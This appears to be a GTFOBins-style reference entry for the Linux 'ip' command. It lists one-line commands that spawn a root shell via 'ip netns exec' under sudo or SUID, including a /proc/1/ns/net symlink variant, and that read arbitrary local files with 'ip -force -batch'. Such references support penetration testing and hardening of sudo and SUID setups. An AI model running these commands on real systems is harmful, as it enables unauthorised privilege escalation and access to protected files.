ip
Shell
This executable can spawn an interactive system shell.
- This function is performed by the privileged user if executed via
sudobecause the acquired privileges are not dropped.ip netns add foo ip netns exec foo /bin/sh ip netns delete fooThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.ip netns add foo ip netns exec foo /bin/sh -p ip netns delete foo - This function is performed by the privileged user if executed via
sudobecause the acquired privileges are not dropped.ip netns add foo ip netns exec foo /bin/ln -s /proc/1/ns/net /var/run/netns/bar ip netns exec bar /bin/sh ip netns delete foo ip netns delete bar
File read
This executable can read data from local files.
- This function can be performed by any unprivileged user.
ip -force -batch /path/to/input-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.ip -force -batch /path/to/input-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.ip -force -batch /path/to/input-file